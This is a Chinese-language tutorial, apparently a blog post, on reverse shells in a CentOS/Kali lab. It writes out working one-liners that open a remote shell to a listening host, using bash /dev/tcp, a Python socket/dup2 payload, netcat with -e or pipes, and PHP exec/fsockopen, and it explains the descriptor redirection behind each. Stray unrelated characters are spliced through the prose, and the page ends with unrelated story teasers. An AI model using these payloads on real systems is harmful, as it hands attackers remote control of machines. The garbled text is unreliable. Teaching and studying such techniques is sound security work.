反彈Shell

實驗環(huán)境

CentOS 6.5:192.168.0.3

kali2.0:192.168.0.4

方法1:

反彈shell命令如下:

bash -i >& /dev/tcp/ip/port 0>&1

首先养盗,使用nc在kali上監(jiān)聽端口:

nc -lvp 7777

然后在CentOS6.5下輸入:

bash -i >& /dev/tcp/192.168.0.4/7777 0>&1

可以看到shell成功反彈到了kali上面泌豆,可以執(zhí)行命令:

在解釋這條反彈shell的命令原理之前,首先需要掌握幾個點拍棕。

linux文件描述符:linux shell下有三種標準的文件描述符,分別如下:

0 - stdin 代表標準輸入,使用<或<<
1 - stdout 代表標準輸出,使用>或>>
2 - stderr 代表標準錯誤輸出,使用2>或2>>

還有就是>&這個符號的含義蝙寨,最好的理解是這樣的:

當(dāng)>&后面接文件時冈爹,表示將標準輸出和標準錯誤輸出重定向至文件。
當(dāng)>&后面接文件描述符時逛绵,表示將前面的文件描述符重定向至后面的文件描述符

也有師傅把&這個符號解釋為是取地址符號怀各,學(xué)過C語言的小伙伴們都知道&這個符號代表取地址符,在C++中&符號還代表為引用术浪,這樣做是為了區(qū)分文件描述符和文件瓢对,比如查看一個不存在的文件,要把標準錯誤重定向到標準輸出胰苏,如果直接cat notexistfile 2>1的話硕蛹,則會將1看作是一個文件,將標準錯誤輸出輸出到1這個文件里而不是標準輸出,而&的作用就是為了區(qū)分文件和文件描述符:

理解了上面這些知識,下面來解釋一下這一條反彈shell的命令首先法焰,bash -i代表在本地打開一個bash秧荆,然后就是/dev/tcp/ip/port/dev/tcp/是Linux中的一個特殊設(shè)備,打開這個文件就相當(dāng)于發(fā)出了一個socket調(diào)用埃仪,建立一個socket連接乙濒,>&后面跟上/dev/tcp/ip/port這個文件代表將標準輸出和標準錯誤輸出重定向到這個文件,也就是傳遞到遠程上卵蛉,如果遠程開啟了對應(yīng)的端口去監(jiān)聽颁股,就會接收到這個bash的標準輸出和標準錯誤輸出,這個時候我們在本機CentOS輸入命令傻丝,輸出以及錯誤輸出的內(nèi)容就會被傳遞顯示到遠程甘有。

在本地輸入設(shè)備(鍵盤)輸入命令,在本地看不到輸入的內(nèi)容桑滩,但是鍵盤輸入的命令已經(jīng)被輸出到了遠程梧疲,然后命令的執(zhí)行結(jié)果或者錯誤也會被傳到遠程,查看遠程运准,可以看到標準輸出和標準錯誤輸出都重定向到了遠程:

下面在該命令后面加上0>&1幌氮,代表將標準輸入重定向到標準輸出,這里的標準輸出已經(jīng)重定向到了/dev/tcp/ip/port這個文件胁澳,也就是遠程该互,那么標準輸入也就重定向到了遠程,這樣的話就可以直接在遠程輸入了:

那么韭畸,0>&2也是可以的宇智,代表將標準輸入重定向到標準錯誤輸出,而標準錯誤輸出重定向到了/dev/tcp/ip/port這個文件胰丁,也就是遠程随橘,那么標準輸入也就重定向到了遠程:

為了更形象的理解,下面給出了整個過程的數(shù)據(jù)流向锦庸,首先是本地的輸入輸出流向:

執(zhí)行bash -i >& /dev/tcp/ip/port

執(zhí)行bash -i >& /dev/tcp/ip/port 0>&1或者bash -i >& /dev/tcp/ip/port 0>&2后:

方法2:

使用python反彈机蔗,反彈shell命令如下:

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

首先,使用nc在kali上監(jiān)聽端口:

nc -lvp 7777

在CentOS下使用python去反向連接甘萧,輸入:

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.0.4',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);

可以看到kali上成功反彈到了shell萝嘁,可以執(zhí)行一些命令:

在已經(jīng)深入理解了第一種方法的原理后,下面來解釋一下python反彈shell的原理扬卷。

首先使用socket與遠程建立起連接牙言,接下來使用到了os庫的dup2方法將標準輸入、標準輸出怪得、標準錯誤輸出重定向到遠程咱枉,dup2這個方法有兩個參數(shù)卑硫,分別為文件描述符fd1和fd2,當(dāng)fd2參數(shù)存在時庞钢,就關(guān)閉fd2拔恰,然后將fd1代表的那個文件強行復(fù)制給fd2,在這里可以把fd1和fd2看作是C語言里的指針基括,將fd1賦值給fd2颜懊,就相當(dāng)于將fd2指向于s.fileno(),fileno()返回的是一個文件描述符风皿,在這里也就是建立socket連接返回的文件描述符河爹,經(jīng)過測試可以看到值為3。

于是這樣就相當(dāng)于將標準輸入(0)桐款、標準輸出(1)咸这、標準錯誤輸出(2)重定向到遠程(3),接下來使用os的subprocess在本地開啟一個子進程魔眨,傳入?yún)?shù)“-i”使bash以交互模式啟動媳维,標準輸入、標準輸出遏暴、標準錯誤輸出又被重定向到了遠程侄刽,這樣的話就可以在遠程執(zhí)行輸入命令了。

方法3:

使用nc反彈shell,需要的條件是被反彈shell的機器安裝了nc朋凉,CentOS6.5安裝nc方法如下:

1州丹、下載安裝
wget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download
tar -zxvf netcat-0.7.1.tar.gz -C /usr/local
cd /usr/local
mv netcat-0.7.1 netcat
cd /usr/local/netcat
./configure
make && make install
2、配置
vim /etc/profile
添加以下內(nèi)容:
# set  netcat path
export NETCAT_HOME=/usr/local/netcat
export PATH=$PATH:$NETCAT_HOME/bin
保存杂彭,退出墓毒,并使配置生效:
source /etc/profile
3、測試
nc -help成功

之后在kali上使用nc監(jiān)聽端口:

nc -lvp 7777

在CentOS上使用nc去反向連接亲怠,命令如下:

nc -e /bin/bash 192.168.0.4 7777

這里的-e后面跟的參數(shù)代表的是在創(chuàng)建連接后執(zhí)行的程序所计,這里代表在連接到遠程后可以在遠程執(zhí)行一個本地shell(/bin/bash),也就是反彈一個shell給遠程团秽,可以看到遠程已經(jīng)成功反彈到了shell醉箕,并且可以執(zhí)行命令。

注意之前使用nc監(jiān)聽端口反彈shell時都會有一個警告:Warning: forward host lookup failed for bogon: Unknown host,根據(jù)nc幫助文檔的提示加上-n參數(shù)就可以不產(chǎn)生這個警告了徙垫,-n參數(shù)代表在建立連接之前不對主機進行dns解析。

nc -nlvp 7777

如果nc不支持-e參數(shù)的話放棒,可以利用到linux中的管道符姻报,首先在kali上開啟監(jiān)聽:

nc -nvlp 6666nc -nvlp 7777

之后在CentOS上使用nc去反向鏈接:

nc 192.168.0.4 6666|/bin/bash|192.168.0.4 7777

iliCEIg5cL.png
這里通過在kali上監(jiān)聽兩個端口,然后在使用CentOS進行反向連接的時候使用到了管道符间螟,管道符的作用是把管道符前的輸出作為管道符后的輸入吴旋,這樣的話就可以在遠程的6666端口的輸入設(shè)備(鍵盤)輸入命令损肛,將命令輸出傳遞至本地的/bin/bash,通過本地shell解釋執(zhí)行命令后荣瑟,將命令執(zhí)行的結(jié)果以及錯誤輸入到遠程的7777端口治拿。

方法4:

使用php反彈shell,方法如下 笆焰。
首先最簡單的一個辦法劫谅,就是使用php的exec函數(shù)執(zhí)行方法1反彈shell的命令:

php- 'exec("/bin/bash -i >& /dev/tcp/192.168.0.4/7777")'
Da1d5I1GgL.png

還有一個是之前烏云知識庫上的一個姿勢,使用php的fsockopen去連接遠程:

php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'
JbLmF1b3l9.png

這個姿勢看起來有一些難以理解嚷掠,尤其是還出現(xiàn)了<&這個符號捏检,當(dāng)然如果把&看著是取地址符或者是引用,那還是可以理解的不皆,為了更方便的理解贯城,我在這將這條命令稍微修改了一下,類似于前面的第二種方法霹娄。

有了之前的基礎(chǔ)能犯,我們知道3代表的是使用fsockopen函數(shù)建立socket返回的文件描述符,這里將標準輸入犬耻,標準輸出和標準錯誤輸出都重定向到了遠程

在CentOS上反向連接踩晶,輸入:

php -r '$sock=fsockopen("192.168.0.4",7777);exec("/bin/bash -i 0>&3 1>&3 2>&3");'
B0c9GjFmD5.png

注意php反彈shell的這些方法都需要php關(guān)閉safe_mode這個選項,才可以使用exec函數(shù)香追。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末合瓢,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子透典,更是在濱河造成了極大的恐慌晴楔,老刑警劉巖,帶你破解...
    沈念sama閱讀 216,651評論 6 501
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件峭咒,死亡現(xiàn)場離奇詭異税弃,居然都是意外死亡,警方通過查閱死者的電腦和手機凑队,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,468評論 3 392
  • 文/潘曉璐 我一進店門则果,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人漩氨,你說我怎么就攤上這事西壮。” “怎么了叫惊?”我有些...
    開封第一講書人閱讀 162,931評論 0 353
  • 文/不壞的土叔 我叫張陵款青,是天一觀的道長。 經(jīng)常有香客問我霍狰,道長抡草,這世上最難降的妖魔是什么饰及? 我笑而不...
    開封第一講書人閱讀 58,218評論 1 292
  • 正文 為了忘掉前任,我火速辦了婚禮康震,結(jié)果婚禮上燎含,老公的妹妹穿的比我還像新娘。我一直安慰自己腿短,他們只是感情好屏箍,可當(dāng)我...
    茶點故事閱讀 67,234評論 6 388
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著答姥,像睡著了一般铣除。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上鹦付,一...
    開封第一講書人閱讀 51,198評論 1 299
  • 那天尚粘,我揣著相機與錄音,去河邊找鬼敲长。 笑死郎嫁,一個胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的祈噪。 我是一名探鬼主播泽铛,決...
    沈念sama閱讀 40,084評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼辑鲤!你這毒婦竟也來了盔腔?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 38,926評論 0 274
  • 序言:老撾萬榮一對情侶失蹤月褥,失蹤者是張志新(化名)和其女友劉穎弛随,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體宁赤,經(jīng)...
    沈念sama閱讀 45,341評論 1 311
  • 正文 獨居荒郊野嶺守林人離奇死亡舀透,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,563評論 2 333
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了决左。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片愕够。...
    茶點故事閱讀 39,731評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖佛猛,靈堂內(nèi)的尸體忽然破棺而出惑芭,到底是詐尸還是另有隱情,我是刑警寧澤继找,帶...
    沈念sama閱讀 35,430評論 5 343
  • 正文 年R本政府宣布强衡,位于F島的核電站,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏漩勤。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 41,036評論 3 326
  • 文/蒙蒙 一缩搅、第九天 我趴在偏房一處隱蔽的房頂上張望越败。 院中可真熱鬧,春花似錦硼瓣、人聲如沸究飞。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,676評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽亿傅。三九已至,卻和暖如春瘟栖,著一層夾襖步出監(jiān)牢的瞬間葵擎,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,829評論 1 269
  • 我被黑心中介騙來泰國打工半哟, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留酬滤,地道東北人。 一個月前我還...
    沈念sama閱讀 47,743評論 2 368
  • 正文 我出身青樓寓涨,卻偏偏與公主長得像盯串,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子戒良,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 44,629評論 2 354